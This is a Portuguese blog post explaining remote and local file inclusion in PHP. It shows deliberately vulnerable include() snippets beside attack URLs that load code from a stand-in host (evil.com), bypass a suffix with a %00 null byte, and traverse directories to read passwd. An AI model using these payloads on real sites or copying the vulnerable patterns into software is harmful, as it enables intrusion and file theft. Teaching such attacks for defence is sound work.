Quando construímos algum programa, temos de ter em conta a segurança. E se esse programa for para acesso público, ainda mais.
É o caso da maior parte das aplicações web. Actualmente as falhas de segurança mais comuns são:
- RFI Inclusão remota de ficheiros
- LFI Inclusão local de ficheiros
- SQL INJECTION
- XSS
- E outras variantes…
Exemplos de códigos vulneráveis escritos em PHP e respectivos ataque. (RFI e LFI)
Código:
<?php
// php01.php
include($_GET['lang']);
echo “Seleccionou a linguagem {$_GET['lang']}”;
?>
Ataque:
http://site-da-victima.pt/php01.php?lang=http://evil.com/xxx.php
Então você pensa, se eu substituir include($_GET['lang']); por include($_GET['lang'].’lang.php’); já não há problema… Esta muito enganado!!EHEHEH
Código:
<?php
// php01.php
include($_GET['lang'].’lang.php’);
echo “Seleccionou a linguagem {$_GET['lang']}”;
?>
Ataque:
http://site-da-victima.pt/php01.php?lang=http://evil.com/xxx.php%00
O caracter %00 corresponde ao em C, que determinava o fim de uma string. Então o %00 faz com que tudo que esteja depois seja ignorado. E assim a string .’lang.php’ não será processada.
Se o %00 não funcionar pode tentar o caracter ?.
Então você pensa novamente. Se eu substituir include($_GET['lang'].’lang.php’); por include(‘./langs/’.$_GET['lang'].’lang.php’); já não há qualquer hipotese.
Tem razão, em relação a inclusão remota, mas o código continua vulnerável à inclusão local.
Código:
<?php
// php01.php
include(‘./langs/’.$_GET['lang'].’lang.php’);
echo “Seleccionou a linguagem {$_GET['lang']}”;
?>
Ataque:
http://site-da-victima.pt/php01.php?lang=../../../../../passwd%00
ou então
http://site-da-victima.pt/php01.php?lang=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fpasswd%00
Também é possível injectar código PHP em imagens, para posteriormente ser executado recorrendo à LFI.
Arquivado em: Programação, Segurança | Tagged: LFI, php, RFI